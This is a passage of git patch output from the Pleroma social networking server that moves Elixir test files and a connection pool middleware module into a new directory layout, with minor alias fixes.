SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.ActivityPub.ObjectValidators.FollowValidationTest do - use Pleroma.DataCase - - alias Pleroma.Web.ActivityPub.Builder - alias Pleroma.Web.ActivityPub.ObjectValidator - - import Pleroma.Factory - - describe "Follows" do - setup do - follower = insert(:user) - followed = insert(:user) - - {:ok, valid_follow, []} = Builder.follow(follower, followed) - %{follower: follower, followed: followed, valid_follow: valid_follow} - end - - test "validates a basic follow object", %{valid_follow: valid_follow} do - assert {:ok, _follow, []} = ObjectValidator.validate(valid_follow, []) - end - end -end diff --git a/test/web/activity_pub/object_validators/like_validation_test.exs b/test/web/activity_pub/object_validators/like_validation_test.exs deleted file mode 100644 index 2c033b7e2..000000000 --- a/test/web/activity_pub/object_validators/like_validation_test.exs +++ /dev/null @@ -1,113 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.ActivityPub.ObjectValidators.LikeValidationTest do - use Pleroma.DataCase - - alias Pleroma.Web.ActivityPub.ObjectValidator - alias Pleroma.Web.ActivityPub.ObjectValidators.LikeValidator - alias Pleroma.Web.ActivityPub.Utils - alias Pleroma.Web.CommonAPI - - import Pleroma.Factory - - describe "likes" do - setup do - user = insert(:user) - {:ok, post_activity} = CommonAPI.post(user, %{status: "uguu"}) - - valid_like = %{ - "to" => [user.ap_id], - "cc" => [], - "type" => "Like", - "id" => Utils.generate_activity_id(), - "object" => post_activity.data["object"], - "actor" => user.ap_id, - "context" => "a context" - } - - %{valid_like: valid_like, user: user, post_activity: post_activity} - end - - test "returns ok when called in the ObjectValidator", %{valid_like: valid_like} do - {:ok, object, _meta} = ObjectValidator.validate(valid_like, []) - - assert "id" in Map.keys(object) - end - - test "is valid for a valid object", %{valid_like: valid_like} do - assert LikeValidator.cast_and_validate(valid_like).valid? - end - - test "sets the 'to' field to the object actor if no recipients are given", %{ - valid_like: valid_like, - user: user - } do - without_recipients = - valid_like - |> Map.delete("to") - - {:ok, object, _meta} = ObjectValidator.validate(without_recipients, []) - - assert object["to"] == [user.ap_id] - end - - test "sets the context field to the context of the object if no context is given", %{ - valid_like: valid_like, - post_activity: post_activity - } do - without_context = - valid_like - |> Map.delete("context") - - {:ok, object, _meta} = ObjectValidator.validate(without_context, []) - - assert object["context"] == post_activity.data["context"] - end - - test "it errors when the actor is missing or not known", %{valid_like: valid_like} do - without_actor = Map.delete(valid_like, "actor") - - refute LikeValidator.cast_and_validate(without_actor).valid? - - with_invalid_actor = Map.put(valid_like, "actor", "invalidactor") - - refute LikeValidator.cast_and_validate(with_invalid_actor).valid? - end - - test "it errors when the object is missing or not known", %{valid_like: valid_like} do - without_object = Map.delete(valid_like, "object") - - refute LikeValidator.cast_and_validate(without_object).valid? - - with_invalid_object = Map.put(valid_like, "object", "invalidobject") - - refute LikeValidator.cast_and_validate(with_invalid_object).valid? - end - - test "it errors when the actor has already like the object", %{ - valid_like: valid_like, - user: user, - post_activity: post_activity - } do - _like = CommonAPI.favorite(user, post_activity.id) - - refute LikeValidator.cast_and_validate(valid_like).valid? - end - - test "it works when actor or object are wrapped in maps", %{valid_like: valid_like} do - wrapped_like = - valid_like - |> Map.put("actor", %{"id" => valid_like["actor"]}) - |> Map.put("object", %{"id" => valid_like["object"]}) - - validated = LikeValidator.cast_and_validate(wrapped_like) - - assert validated.valid? - - assert {:actor, valid_like["actor"]} in validated.changes - assert {:object, valid_like["object"]} in validated.changes - end - end -end diff --git a/test/web/activity_pub/object_validators/undo_validation_test.exs b/test/web/activity_pub/object_validators/undo_validation_test.exs deleted file mode 100644 index 75bbcc4b6..000000000 --- a/test/web/activity_pub/object_validators/undo_validation_test.exs +++ /dev/null @@ -1,53 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.ActivityPub.ObjectValidators.UndoHandlingTest do - use Pleroma.DataCase - - alias Pleroma.Web.ActivityPub.Builder - alias Pleroma.Web.ActivityPub.ObjectValidator - alias Pleroma.Web.CommonAPI - - import Pleroma.Factory - - describe "Undos" do - setup do - user = insert(:user) - {:ok, post_activity} = CommonAPI.post(user, %{status: "uguu"}) - {:ok, like} = CommonAPI.favorite(user, post_activity.id) - {:ok, valid_like_undo, []} = Builder.undo(user, like) - - %{user: user, like: like, valid_like_undo: valid_like_undo} - end - - test "it validates a basic like undo", %{valid_like_undo: valid_like_undo} do - assert {:ok, _, _} = ObjectValidator.validate(valid_like_undo, []) - end - - test "it does not validate if the actor of the undo is not the actor of the object", %{ - valid_like_undo: valid_like_undo - } do - other_user = insert(:user, ap_id: "https://gensokyo.2hu/users/raymoo") - - bad_actor = - valid_like_undo - |> Map.put("actor", other_user.ap_id) - - {:error, cng} = ObjectValidator.validate(bad_actor, []) - - assert {:actor, {"not the same as object actor", []}} in cng.errors - end - - test "it does not validate if the object is missing", %{valid_like_undo: valid_like_undo} do - missing_object = - valid_like_undo - |> Map.put("object", "https://gensokyo.2hu/objects/1") - - {:error, cng} = ObjectValidator.validate(missing_object, []) - - assert {:object, {"can't find object", []}} in cng.errors - assert length(cng.errors) == 1 - end - end -end diff --git a/test/web/activity_pub/object_validators/update_validation_test.exs b/test/web/activity_pub/object_validators/update_validation_test.exs deleted file mode 100644 index 5e80cf731..000000000 --- a/test/web/activity_pub/object_validators/update_validation_test.exs +++ /dev/null @@ -1,44 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.ActivityPub.ObjectValidators.UpdateHandlingTest do - use Pleroma.DataCase - - alias Pleroma.Web.ActivityPub.Builder - alias Pleroma.Web.ActivityPub.ObjectValidator - - import Pleroma.Factory - - describe "updates" do - setup do - user = insert(:user) - - object = %{ - "id" => user.ap_id, - "name" => "A new name", - "summary" => "A new bio" - } - - {:ok, valid_update, []} = Builder.update(user, object) - - %{user: user, valid_update: valid_update} - end - - test "validates a basic object", %{valid_update: valid_update} do - assert {:ok, _update, []} = ObjectValidator.validate(valid_update, []) - end - - test "returns an error if the object can't be updated by the actor", %{ - valid_update: valid_update - } do - other_user = insert(:user) - - update = - valid_update - |> Map.put("actor", other_user.ap_id) - - assert {:error, _cng} = ObjectValidator.validate(update, []) - end - end -end -- cgit v1.2.3 From c8418e2d1f0a5dd3b10925a125c3b69c0e8ea18b Mon Sep 17 00:00:00 2001 From: Alexander Strizhakov <alex.strizhakov@gmail.com> Date: Sun, 12 Jul 2020 17:06:23 +0300 Subject: fix after rebase --- test/pleroma/upload/filter/exiftool_test.exs | 42 ++++++++++++++++++++++++++++ test/upload/filter/exiftool_test.exs | 42 ---------------------------- 2 files changed, 42 insertions(+), 42 deletions(-) create mode 100644 test/pleroma/upload/filter/exiftool_test.exs delete mode 100644 test/upload/filter/exiftool_test.exs diff --git a/test/pleroma/upload/filter/exiftool_test.exs b/test/pleroma/upload/filter/exiftool_test.exs new file mode 100644 index 000000000..d4cd4ba11 --- /dev/null +++ b/test/pleroma/upload/filter/exiftool_test.exs @@ -0,0 +1,42 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Upload.Filter.ExiftoolTest do + use Pleroma.DataCase + alias Pleroma.Upload.Filter + + test "apply exiftool filter" do + assert Pleroma.Utils.command_available?("exiftool") + + File.cp!( + "test/fixtures/DSCN0010.jpg", + "test/fixtures/DSCN0010_tmp.jpg" + ) + + upload = %Pleroma.Upload{ + name: "image_with_GPS_data.jpg", + content_type: "image/jpg", + path: Path.absname("test/fixtures/DSCN0010.jpg"), + tempfile: Path.absname("test/fixtures/DSCN0010_tmp.jpg") + } + + assert Filter.Exiftool.filter(upload) == {:ok, :filtered} + + {exif_original, 0} = System.cmd("exiftool", ["test/fixtures/DSCN0010.jpg"]) + {exif_filtered, 0} = System.cmd("exiftool", ["test/fixtures/DSCN0010_tmp.jpg"]) + + refute exif_original == exif_filtered + assert String.match?(exif_original, ~r/GPS/) + refute String.match?(exif_filtered, ~r/GPS/) + end + + test "verify webp files are skipped" do + upload = %Pleroma.Upload{ + name: "sample.webp", + content_type: "image/webp" + } + + assert Filter.Exiftool.filter(upload) == {:ok, :noop} + end +end diff --git a/test/upload/filter/exiftool_test.exs b/test/upload/filter/exiftool_test.exs deleted file mode 100644 index d4cd4ba11..000000000 --- a/test/upload/filter/exiftool_test.exs +++ /dev/null @@ -1,42 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Upload.Filter.ExiftoolTest do - use Pleroma.DataCase - alias Pleroma.Upload.Filter - - test "apply exiftool filter" do - assert Pleroma.Utils.command_available?("exiftool") - - File.cp!( - "test/fixtures/DSCN0010.jpg", - "test/fixtures/DSCN0010_tmp.jpg" - ) - - upload = %Pleroma.Upload{ - name: "image_with_GPS_data.jpg", - content_type: "image/jpg", - path: Path.absname("test/fixtures/DSCN0010.jpg"), - tempfile: Path.absname("test/fixtures/DSCN0010_tmp.jpg") - } - - assert Filter.Exiftool.filter(upload) == {:ok, :filtered} - - {exif_original, 0} = System.cmd("exiftool", ["test/fixtures/DSCN0010.jpg"]) - {exif_filtered, 0} = System.cmd("exiftool", ["test/fixtures/DSCN0010_tmp.jpg"]) - - refute exif_original == exif_filtered - assert String.match?(exif_original, ~r/GPS/) - refute String.match?(exif_filtered, ~r/GPS/) - end - - test "verify webp files are skipped" do - upload = %Pleroma.Upload{ - name: "sample.webp", - content_type: "image/webp" - } - - assert Filter.Exiftool.filter(upload) == {:ok, :noop} - end -end -- cgit v1.2.3 From 7f82f18664f73a320f82d0430966b4f673391fbe Mon Sep 17 00:00:00 2001 From: Alexander Strizhakov <alex.strizhakov@gmail.com> Date: Sun, 12 Jul 2020 17:29:02 +0300 Subject: exclude file_location check from coveralls --- coveralls.json | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/coveralls.json b/coveralls.json index 75e845ade..8652591ef 100644 --- a/coveralls.json +++ b/coveralls.json @@ -1,6 +1,7 @@ { "skip_files": [ "test/support", - "lib/mix/tasks/pleroma/benchmark.ex" + "lib/mix/tasks/pleroma/benchmark.ex", + "lib/credo/check/consistency/file_location.ex" ] } \ No newline at end of file -- cgit v1.2.3 From 1d0e130cb3f37f611ec8242d99c12f693e328112 Mon Sep 17 00:00:00 2001 From: Alexander Strizhakov <alex.strizhakov@gmail.com> Date: Sun, 16 Aug 2020 20:28:31 +0300 Subject: fixes after rebase --- lib/pleroma/web/mastodon_api/controllers/account_controller.ex | 1 - lib/pleroma/web/pleroma_api/controllers/emoji_pack_controller.ex | 2 +- lib/pleroma/web/plugs/admin_secret_authentication_plug.ex | 4 ++-- 3 files changed, 3 insertions(+), 4 deletions(-) diff --git a/lib/pleroma/web/mastodon_api/controllers/account_controller.ex b/lib/pleroma/web/mastodon_api/controllers/account_controller.ex index f3b6b3571..4f9696d52 100644 --- a/lib/pleroma/web/mastodon_api/controllers/account_controller.ex +++ b/lib/pleroma/web/mastodon_api/controllers/account_controller.ex @@ -26,7 +26,6 @@ defmodule Pleroma.Web.MastodonAPI.AccountController do alias Pleroma.Web.MastodonAPI.StatusView alias Pleroma.Web.OAuth.OAuthController alias Pleroma.Web.OAuth.OAuthView - alias Pleroma.Web.OAuth.Token alias Pleroma.Web.Plugs.EnsurePublicOrAuthenticatedPlug alias Pleroma.Web.Plugs.OAuthScopesPlug alias Pleroma.Web.Plugs.RateLimiter diff --git a/lib/pleroma/web/pleroma_api/controllers/emoji_pack_controller.ex b/lib/pleroma/web/pleroma_api/controllers/emoji_pack_controller.ex index 81ba69017..a9accc5af 100644 --- a/lib/pleroma/web/pleroma_api/controllers/emoji_pack_controller.ex +++ b/lib/pleroma/web/pleroma_api/controllers/emoji_pack_controller.ex @@ -24,7 +24,7 @@ defmodule Pleroma.Web.PleromaAPI.EmojiPackController do @skip_plugs [ Pleroma.Web.Plugs.OAuthScopesPlug, - Pleroma.Web.Plugs.ExpectPublicOrAuthenticatedCheckPlug + Pleroma.Web.Plugs.EnsurePublicOrAuthenticatedPlug ] plug(:skip_plug, @skip_plugs when action in [:index, :archive, :show]) diff --git a/lib/pleroma/web/plugs/admin_secret_authentication_plug.ex b/lib/pleroma/web/plugs/admin_secret_authentication_plug.ex index 9c7454443..d7d4e4092 100644 --- a/lib/pleroma/web/plugs/admin_secret_authentication_plug.ex +++ b/lib/pleroma/web/plugs/admin_secret_authentication_plug.ex @@ -5,9 +5,9 @@ defmodule Pleroma.Web.Plugs.AdminSecretAuthenticationPlug do import Plug.Conn - alias Pleroma.Plugs.OAuthScopesPlug - alias Pleroma.Plugs.RateLimiter alias Pleroma.User + alias Pleroma.Web.Plugs.OAuthScopesPlug + alias Pleroma.Web.Plugs.RateLimiter def init(options) do options -- cgit v1.2.3 From c4c5caedd809e46542ae3632762d93f14890d51d Mon Sep 17 00:00:00 2001 From: Alexander Strizhakov <alex.strizhakov@gmail.com> Date: Sun, 16 Aug 2020 21:01:38 +0300 Subject: changes after rebase --- lib/pleroma/http/middleware/connection_pool.ex | 50 ++++++ lib/pleroma/tesla/middleware/connection_pool.ex | 50 ------ test/gun/conneciton_pool_test.exs | 101 ------------ .../20200716195806_autolinker_to_linkify_test.exs | 72 --------- ...2185515_fix_malformed_formatter_config_test.exs | 70 -------- .../20200724133313_move_welcome_settings_test.exs | 144 ----------------- .../20200802170532_fix_legacy_tags_test.exs | 28 ---- test/pleroma/gun/connection_pool_test.exs | 101 ++++++++++++ .../repo/migrations/autolinker_to_linkify_test.exs | 72 +++++++++ .../repo/migrations/fix_legacy_tags_test.exs | 28 ++++ .../fix_malformed_formatter_config_test.exs | 70 ++++++++ .../repo/migrations/move_welcome_settings_test.exs | 144 +++++++++++++++++ test/pleroma/report_note_test.exs | 16 ++ test/pleroma/user/welcome_chat_message_test.exs | 35 ++++ test/pleroma/user/welcome_email_test.exs | 61 +++++++ test/pleroma/user/welcome_message_test.exs | 34 ++++ .../object_validators/accept_validation_test.exs | 56 +++++++ .../object_validators/reject_validation_test.exs | 56 +++++++ .../transmogrifier/accept_handling_test.exs | 91 +++++++++++ .../transmogrifier/answer_handling_test.exs | 78 +++++++++ .../transmogrifier/question_handling_test.exs | 176 +++++++++++++++++++++ .../transmogrifier/reject_handling_test.exs | 67 ++++++++ .../web/plugs/frontend_static_plug_test.exs | 56 +++++++ test/plugs/frontend_static_test.exs | 57 ------- test/report_note_test.exs | 16 -- test/user/welcome_chat_massage_test.exs | 35 ---- test/user/welcome_email_test.exs | 61 ------- test/user/welcome_message_test.exs | 34 ---- .../object_validators/accept_validation_test.exs | 56 ------- .../object_validators/reject_validation_test.exs | 56 ------- .../transmogrifier/accept_handling_test.exs | 91 ----------- .../transmogrifier/answer_handling_test.exs | 78 --------- .../transmogrifier/question_handling_test.exs | 176 --------------------- .../transmogrifier/reject_handling_test.exs | 67 -------- 34 files changed, 1191 insertions(+), 1192 deletions(-) create mode 100644 lib/pleroma/http/middleware/connection_pool.ex delete mode 100644 lib/pleroma/tesla/middleware/connection_pool.ex delete mode 100644 test/gun/conneciton_pool_test.exs delete mode 100644 test/migrations/20200716195806_autolinker_to_linkify_test.exs delete mode 100644 test/migrations/20200722185515_fix_malformed_formatter_config_test.exs delete mode 100644 test/migrations/20200724133313_move_welcome_settings_test.exs delete mode 100644 test/migrations/20200802170532_fix_legacy_tags_test.exs create mode 100644 test/pleroma/gun/connection_pool_test.exs create mode 100644 test/pleroma/repo/migrations/autolinker_to_linkify_test.exs create mode 100644 test/pleroma/repo/migrations/fix_legacy_tags_test.exs create mode 100644 test/pleroma/repo/migrations/fix_malformed_formatter_config_test.exs create mode 100644 test/pleroma/repo/migrations/move_welcome_settings_test.exs create mode 100644 test/pleroma/report_note_test.exs create mode 100644 test/pleroma/user/welcome_chat_message_test.exs create mode 100644 test/pleroma/user/welcome_email_test.exs create mode 100644 test/pleroma/user/welcome_message_test.exs create mode 100644 test/pleroma/web/activity_pub/object_validators/accept_validation_test.exs create mode 100644 test/pleroma/web/activity_pub/object_validators/reject_validation_test.exs create mode 100644 test/pleroma/web/activity_pub/transmogrifier/accept_handling_test.exs create mode 100644 test/pleroma/web/activity_pub/transmogrifier/answer_handling_test.exs create mode 100644 test/pleroma/web/activity_pub/transmogrifier/question_handling_test.exs create mode 100644 test/pleroma/web/activity_pub/transmogrifier/reject_handling_test.exs create mode 100644 test/pleroma/web/plugs/frontend_static_plug_test.exs delete mode 100644 test/plugs/frontend_static_test.exs delete mode 100644 test/report_note_test.exs delete mode 100644 test/user/welcome_chat_massage_test.exs delete mode 100644 test/user/welcome_email_test.exs delete mode 100644 test/user/welcome_message_test.exs delete mode 100644 test/web/activity_pub/object_validators/accept_validation_test.exs delete mode 100644 test/web/activity_pub/object_validators/reject_validation_test.exs delete mode 100644 test/web/activity_pub/transmogrifier/accept_handling_test.exs delete mode 100644 test/web/activity_pub/transmogrifier/answer_handling_test.exs delete mode 100644 test/web/activity_pub/transmogrifier/question_handling_test.exs delete mode 100644 test/web/activity_pub/transmogrifier/reject_handling_test.exs diff --git a/lib/pleroma/http/middleware/connection_pool.ex b/lib/pleroma/http/middleware/connection_pool.ex new file mode 100644 index 000000000..056e736ce --- /dev/null +++ b/lib/pleroma/http/middleware/connection_pool.ex @@ -0,0 +1,50 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2020 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Tesla.Middleware.ConnectionPool do + @moduledoc """ + Middleware to get/release connections from `Pleroma.Gun.ConnectionPool` + """ + + @behaviour Tesla.Middleware + + alias Pleroma.Gun.ConnectionPool + + @impl Tesla.Middleware + def call(%Tesla.Env{url: url, opts: opts} = env, next, _) do + uri = URI.parse(url) + + # Avoid leaking connections when the middleware is called twice + # with body_as: :chunks. We assume only the middleware can set + # opts[:adapter][:conn] + if opts[:adapter][:conn] do + ConnectionPool.release_conn(opts[:adapter][:conn]) + end + + case ConnectionPool.get_conn(uri, opts[:adapter]) do + {:ok, conn_pid} -> + adapter_opts = Keyword.merge(opts[:adapter], conn: conn_pid, close_conn: false) + opts = Keyword.put(opts, :adapter, adapter_opts) + env = %{env | opts: opts} + + case Tesla.run(env, next) do + {:ok, env} -> + unless opts[:adapter][:body_as] == :chunks do + ConnectionPool.release_conn(conn_pid) + {_, res} = pop_in(env.opts[:adapter][:conn]) + {:ok, res} + else + {:ok, env} + end + + err -> + ConnectionPool.release_conn(conn_pid) + err + end + + err -> + err + end + end +end diff --git a/lib/pleroma/tesla/middleware/connection_pool.ex b/lib/pleroma/tesla/middleware/connection_pool.ex deleted file mode 100644 index 056e736ce..000000000 --- a/lib/pleroma/tesla/middleware/connection_pool.ex +++ /dev/null @@ -1,50 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Tesla.Middleware.ConnectionPool do - @moduledoc """ - Middleware to get/release connections from `Pleroma.Gun.ConnectionPool` - """ - - @behaviour Tesla.Middleware - - alias Pleroma.Gun.ConnectionPool - - @impl Tesla.Middleware - def call(%Tesla.Env{url: url, opts: opts} = env, next, _) do - uri = URI.parse(url) - - # Avoid leaking connections when the middleware is called twice - # with body_as: :chunks. We assume only the middleware can set - # opts[:adapter][:conn] - if opts[:adapter][:conn] do - ConnectionPool.release_conn(opts[:adapter][:conn]) - end - - case ConnectionPool.get_conn(uri, opts[:adapter]) do - {:ok, conn_pid} -> - adapter_opts = Keyword.merge(opts[:adapter], conn: conn_pid, close_conn: false) - opts = Keyword.put(opts, :adapter, adapter_opts) - env = %{env | opts: opts} - - case Tesla.run(env, next) do - {:ok, env} -> - unless opts[:adapter][:body_as] == :chunks do - ConnectionPool.release_conn(conn_pid) - {_, res} = pop_in(env.opts[:adapter][:conn]) - {:ok, res} - else - {:ok, env} - end - - err -> - ConnectionPool.release_conn(conn_pid) - err - end - - err -> - err - end - end -end diff --git a/test/gun/conneciton_pool_test.exs b/test/gun/conneciton_pool_test.exs deleted file mode 100644 index aea908fac..000000000 --- a/test/gun/conneciton_pool_test.exs +++ /dev/null @@ -1,101 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Gun.ConnectionPoolTest do - use Pleroma.DataCase - - import Mox - import ExUnit.CaptureLog - alias Pleroma.Config - alias Pleroma.Gun.ConnectionPool - - defp gun_mock(_) do - Pleroma.GunMock - |> stub(:open, fn _, _, _ -> Task.start_link(fn -> Process.sleep(100) end) end) - |> stub(:await_up, fn _, _ -> {:ok, :http} end) - |> stub(:set_owner, fn _, _ -> :ok end) - - :ok - end - - setup :set_mox_from_context - setup :gun_mock - - test "gives the same connection to 2 concurrent requests" do - Enum.map( - [ - "http://www.korean-books.com.kp/KBMbooks/en/periodic/pictorial/20200530163914.pdf", - "http://www.korean-books.com.kp/KBMbooks/en/periodic/pictorial/20200528183427.pdf" - ], - fn uri -> - uri = URI.parse(uri) - task_parent = self() - - Task.start_link(fn -> - {:ok, conn} = ConnectionPool.get_conn(uri, []) - ConnectionPool.release_conn(conn) - send(task_parent, conn) - end) - end - ) - - [pid, pid] = - for _ <- 1..2 do - receive do - pid -> pid - end - end - end - - test "connection limit is respected with concurrent requests" do - clear_config([:connections_pool, :max_connections]) do - Config.put([:connections_pool, :max_connections], 1) - # The supervisor needs a reboot to apply the new config setting - Process.exit(Process.whereis(Pleroma.Gun.ConnectionPool.WorkerSupervisor), :kill) - - on_exit(fn -> - Process.exit(Process.whereis(Pleroma.Gun.ConnectionPool.WorkerSupervisor), :kill) - end) - end - - capture_log(fn -> - Enum.map( - [ - "https://ninenines.eu/", - "https://youtu.be/PFGwMiDJKNY" - ], - fn uri -> - uri = URI.parse(uri) - task_parent = self() - - Task.start_link(fn -> - result = ConnectionPool.get_conn(uri, []) - # Sleep so that we don't end up with a situation, - # where request from the second process gets processed - # only after the first process already released the connection - Process.sleep(50) - - case result do - {:ok, pid} -> - ConnectionPool.release_conn(pid) - - _ -> - nil - end - - send(task_parent, result) - end) - end - ) - - [{:error, :pool_full}, {:ok, _pid}] = - for _ <- 1..2 do - receive do - result -> result - end - end - |> Enum.sort() - end) - end -end diff --git a/test/migrations/20200716195806_autolinker_to_linkify_test.exs b/test/migrations/20200716195806_autolinker_to_linkify_test.exs deleted file mode 100644 index 84f520fe4..000000000 --- a/test/migrations/20200716195806_autolinker_to_linkify_test.exs +++ /dev/null @@ -1,72 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Repo.Migrations.AutolinkerToLinkifyTest do - use Pleroma.DataCase - import Pleroma.Factory - import Pleroma.Tests.Helpers - alias Pleroma.ConfigDB - - setup do: clear_config(Pleroma.Formatter) - setup_all do: require_migration("20200716195806_autolinker_to_linkify") - - test "change/0 converts auto_linker opts for Pleroma.Formatter", %{migration: migration} do - autolinker_opts = [ - extra: true, - validate_tld: true, - class: false, - strip_prefix: false, - new_window: false, - rel: "testing" - ] - - insert(:config, group: :auto_linker, key: :opts, value: autolinker_opts) - - migration.change() - - assert nil == ConfigDB.get_by_params(%{group: :auto_linker, key: :opts}) - - %{value: new_opts} = ConfigDB.get_by_params(%{group: :pleroma, key: Pleroma.Formatter}) - - assert new_opts == [ - class: false, - extra: true, - new_window: false, - rel: "testing", - strip_prefix: false - ] - - Pleroma.Config.put(Pleroma.Formatter, new_opts) - assert new_opts == Pleroma.Config.get(Pleroma.Formatter) - - {text, _mentions, []} = - Pleroma.Formatter.linkify( - "https://www.businessinsider.com/walmart-will-close-stores-on-thanksgiving-ending-black-friday-tradition-2020-7\n\nOmg will COVID finally end Black Friday???" - ) - - assert text == - "<a href=\"https://www.businessinsider.com/walmart-will-close-stores-on-thanksgiving-ending-black-friday-tradition-2020-7\" rel=\"testing\">https://www.businessinsider.com/walmart-will-close-stores-on-thanksgiving-ending-black-friday-tradition-2020-7</a>\n\nOmg will COVID finally end Black Friday???" - end - - test "transform_opts/1 returns a list of compatible opts", %{migration: migration} do - old_opts = [ - extra: true, - validate_tld: true, - class: false, - strip_prefix: false, - new_window: false, - rel: "qqq" - ] - - expected_opts = [ - class: false, - extra: true, - new_window: false, - rel: "qqq", - strip_prefix: false - ] - - assert migration.transform_opts(old_opts) == expected_opts - end -end diff --git a/test/migrations/20200722185515_fix_malformed_formatter_config_test.exs b/test/migrations/20200722185515_fix_malformed_formatter_config_test.exs deleted file mode 100644 index 61528599a..000000000 --- a/test/migrations/20200722185515_fix_malformed_formatter_config_test.exs +++ /dev/null @@ -1,70 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Repo.Migrations.FixMalformedFormatterConfigTest do - use Pleroma.DataCase - import Pleroma.Factory - import Pleroma.Tests.Helpers - alias Pleroma.ConfigDB - - setup do: clear_config(Pleroma.Formatter) - setup_all do: require_migration("20200722185515_fix_malformed_formatter_config") - - test "change/0 converts a map into a list", %{migration: migration} do - incorrect_opts = %{ - class: false, - extra: true, - new_window: false, - rel: "F", - strip_prefix: false - } - - insert(:config, group: :pleroma, key: Pleroma.Formatter, value: incorrect_opts) - - assert :ok == migration.change() - - %{value: new_opts} = ConfigDB.get_by_params(%{group: :pleroma, key: Pleroma.Formatter}) - - assert new_opts == [ - class: false, - extra: true, - new_window: false, - rel: "F", - strip_prefix: false - ] - - Pleroma.Config.put(Pleroma.Formatter, new_opts) - assert new_opts == Pleroma.Config.get(Pleroma.Formatter) - - {text, _mentions, []} = - Pleroma.Formatter.linkify( - "https://www.businessinsider.com/walmart-will-close-stores-on-thanksgiving-ending-black-friday-tradition-2020-7\n\nOmg will COVID finally end Black Friday???" - ) - - assert text == - "<a href=\"https://www.businessinsider.com/walmart-will-close-stores-on-thanksgiving-ending-black-friday-tradition-2020-7\" rel=\"F\">https://www.businessinsider.com/walmart-will-close-stores-on-thanksgiving-ending-black-friday-tradition-2020-7</a>\n\nOmg will COVID finally end Black Friday???" - end - - test "change/0 skips if Pleroma.Formatter config is already a list", %{migration: migration} do - opts = [ - class: false, - extra: true, - new_window: false, - rel: "ugc", - strip_prefix: false - ] - - insert(:config, group: :pleroma, key: Pleroma.Formatter, value: opts) - - assert :skipped == migration.change() - - %{value: new_opts} = ConfigDB.get_by_params(%{group: :pleroma, key: Pleroma.Formatter}) - - assert new_opts == opts - end - - test "change/0 skips if Pleroma.Formatter is empty", %{migration: migration} do - assert :skipped == migration.change() - end -end diff --git a/test/migrations/20200724133313_move_welcome_settings_test.exs b/test/migrations/20200724133313_move_welcome_settings_test.exs deleted file mode 100644 index 53d05a55a..000000000 --- a/test/migrations/20200724133313_move_welcome_settings_test.exs +++ /dev/null @@ -1,144 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Repo.Migrations.MoveWelcomeSettingsTest do - use Pleroma.DataCase - import Pleroma.Factory - import Pleroma.Tests.Helpers - alias Pleroma.ConfigDB - - setup_all do: require_migration("20200724133313_move_welcome_settings") - - describe "up/0" do - test "converts welcome settings", %{migration: migration} do - insert(:config, - group: :pleroma, - key: :instance, - value: [ - welcome_message: "Test message", - welcome_user_nickname: "jimm", - name: "Pleroma" - ] - ) - - migration.up() - instance_config = ConfigDB.get_by_params(%{group: :pleroma, key: :instance}) - welcome_config = ConfigDB.get_by_params(%{group: :pleroma, key: :welcome}) - - assert instance_config.value == [name: "Pleroma"] - - assert welcome_config.value == [ - direct_message: %{ - enabled: true, - message: "Test message", - sender_nickname: "jimm" - }, - email: %{ - enabled: false, - html: "Welcome to <%= instance_name %>", - sender: nil, - subject: "Welcome to <%= instance_name %>", - text: "Welcome to <%= instance_name %>" - } - ] - end - - test "does nothing when message empty", %{migration: migration} do - insert(:config, - group: :pleroma, - key: :instance, - value: [ - welcome_message: "", - welcome_user_nickname: "jimm", - name: "Pleroma" - ] - ) - - migration.up() - instance_config = ConfigDB.get_by_params(%{group: :pleroma, key: :instance}) - refute ConfigDB.get_by_params(%{group: :pleroma, key: :welcome}) - assert instance_config.value == [name: "Pleroma"] - end - - test "does nothing when welcome_message not set", %{migration: migration} do - insert(:config, - group: :pleroma, - key: :instance, - value: [welcome_user_nickname: "jimm", name: "Pleroma"] - ) - - migration.up() - instance_config = ConfigDB.get_by_params(%{group: :pleroma, key: :instance}) - refute ConfigDB.get_by_params(%{group: :pleroma, key: :welcome}) - assert instance_config.value == [name: "Pleroma"] - end - end - - describe "down/0" do - test "revert new settings to old when instance setting not exists", %{migration: migration} do - insert(:config, - group: :pleroma, - key: :welcome, - value: [ - direct_message: %{ - enabled: true, - message: "Test message", - sender_nickname: "jimm" - }, - email: %{ - enabled: false, - html: "Welcome to <%= instance_name %>", - sender: nil, - subject: "Welcome to <%= instance_name %>", - text: "Welcome to <%= instance_name %>" - } - ] - ) - - migration.down() - - refute ConfigDB.get_by_params(%{group: :pleroma, key: :welcome}) - instance_config = 